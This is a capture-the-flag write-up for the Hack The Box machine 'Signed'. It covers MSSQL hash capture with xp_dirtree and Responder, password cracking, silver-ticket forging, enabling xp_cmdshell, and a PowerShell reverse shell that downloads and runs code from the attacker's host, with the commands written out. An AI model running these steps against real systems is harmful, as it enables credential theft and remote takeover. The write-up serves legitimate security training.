Signed is a medium-rated Windows Active Directory (AD) Machine on Hack The Box. The box follows an assumed-breach path and we are supplied with an account that has access to MSSQL Service - scott:Sm230#C5NatH. The box mainly focuses on MSSQL and NTLM exploitation.
We start with an nmap scan to identify the services running on the box.
sudo nmap -Pn -sVC --min-rate 1000 10.10.11.90 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-24 22:22 IST
Nmap scan report for DC01.signed.htb (10.10.11.90)
Host is up (0.15s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2025-10-24T16:54:57+00:00; +24s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-24T16:52:14
|_Not valid after: 2055-10-24T16:52:14
Host script results:
|_clock-skew: 23s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 146.43 seconds
The scan reveals only a single open port 1433, running Microsoft SQL Server 2022.
We connect to the mssql service using mssqlclient.py from the impacket library with the credentials of Scott that we were provided with.
SQL (scott guest@master)> xp_cmdshell
ERROR(DC01): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
We successfully connect and try a few commands such as xp_cmdshell (does not work due to insufficient permissions).
Next, we try to enumerate users and check if their password hashes can be found.
SQL (scott guest@master)> select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
login login_type password_hash create_date modify_date status
----- ---------- ------------- ----------- ----------- --------
sa SQL_LOGIN NULL 2003-04-08 09:10:35 2025-10-02 09:27:32 b'Enabled'
scott SQL_LOGIN NULL 2025-10-02 09:33:29 2025-10-02 09:33:29 b'Enabled'
This just tells us that there is another user sa but does not give anything particularly useful.
We also check if any user has sysadmin privileges and look for linked servers.
SQL (scott guest@master)> SELECT is_srvrolemember('sysadmin');
SQL (scott guest@master)> EXEC sp_linkedservers;
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
-------- ---------------- ----------- -------------- ------------------ ------------ -------
DC01 SQLNCLI SQL Server DC01 NULL NULL NULL
No remarkable information is obtained through this but, xp_dirtree works.
Since xp_dirtree works, we can use it to make a request to our attack machine running Responder to capture the hash of the user running the MSSQL service (mssqlsvc).
To execute this attack,
sudo Responder -I tun0
xp_dirtree on the MSSQL shell to make a request to the attacker's IP (running Responder) which attempts to list the files in the specified path and in this case, ends up authenticating with Responder which captures the NTLM hash.
SQL (scott guest@master)> xp_dirtree //10.10.16.4/toshith
This gives us the hash to the user mssqlsvc.
The hash can be cracked using john.
First, copy the hash to a file (hash.txt). Then the hash can be cracked simply using the command:
john hash.txt -wordlist=/usr/share/wordlists/rockyou.txt
This instantly reveals the password.
Moving on to the next stage, we connect to the mssql service using the newly obtained credentials.
mssqlclient.py mssqlsvc:'<password>'@10.10.11.90 -windows-auth
We are able to successfully connect using mssqlsvc but it still does not have the privileges to run commands using xp_cmdshell.
Now, we try to find users who have the sysadmin role.
SQL (SIGNED\mssqlsvc guest@master)> SELECT name, sid FROM master.sys.syslogins where sysadmin=1;
name sid
------------------------- -------------------------------------------------------------------
sa b'01'
SIGNED\IT b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'
NT SERVICE\SQLWriter b'010600000000000550000000732b9753646ef90356745cb675c3aa6cd6b4d28b'
NT SERVICE\Winmgmt b'0106000000000005500000005a048ddff9c7430ab450d4e7477a2172ab4170f4'
NT SERVICE\MSSQLSERVER b'010600000000000550000000e20f4fe7b15874e48e19026478c2dc9ac307b83e'
NT SERVICE\SQLSERVERAGENT b'010600000000000550000000dca88f14b79fd47a992a3d8943f829a726066357'
To perform a silver ticket attack, we need service account password/hash, SPN and no DC validation.
To find the servername to create the spn, we execute:
SQL (SIGNED\mssqlsvc guest@master)> SELECT @@SERVERNAME AS ServerName
ServerName
--------------
DC01
To create the silver ticket,
S-1-5-21-4088429403-1159899800-2753317549-1105echo -n '<password>' | iconv -t utf16le | openssl dgst -md4 -binary | xxd -p -c 256
MSSQLSvc/<ServerName>:<Port>. In our case, it becomes:
MSSQLSvc/DC01.SIGNED.HTB:1433
Finally, to forge the silver ticket, we execute the following command.
ticketer.py -nthash <HASH> -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 512,519,1105 -user-id 1103 Administrator
Now, connect using the forged ticket.
export KRB5CCNAME=Administrator.ccache
mssqlclient.py -k signed.htb/[email protected] -no-pass -windows-auth
This successfully gives us elevated privileges.
To enable xp_cmdshell, execute:
SQL (SIGNED\mssqlsvc dbo@master)> enable_xp_cmdshell
To test os command execution:
SQL (SIGNED\mssqlsvc dbo@master)> EXEC xp_cmdshell whoami
output
---------------
signed\mssqlsvc
To obtain a reverse shell,
Invoke-PowerShellTcp.ps1 (part of nishang) on the attacking machine to download it on the target. In the directory containing the script, execute:
python3 -m http.server
netcat listener.
rlwrap nc -lvnp 4444
EXEC ('EXEC xp_cmdshell ''powershell -c "IEX (New-Object Net.WebClient).DownloadString(''''http://10.10.16.4:8000/Invoke-PowerShellTcp.ps1'''');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.4 -Port 4444"''');
The shell is obtained as the user signed/mssqlsvc. The user flag can now be read.
The OPENROWSET procedure allows MSSQL to load files. The MSSQL Server runs with elevated privileges, so we can directly use it to read the root flag.
SQL (SIGNED\mssqlsvc dbo@master)> select BulkColumn from OPENROWSET (BULK 'c:/users/administrator/desktop/root.txt', SINGLE_CLOB) Myroot
BulkColumn
---------------------------------------
b'<flag>\r\n'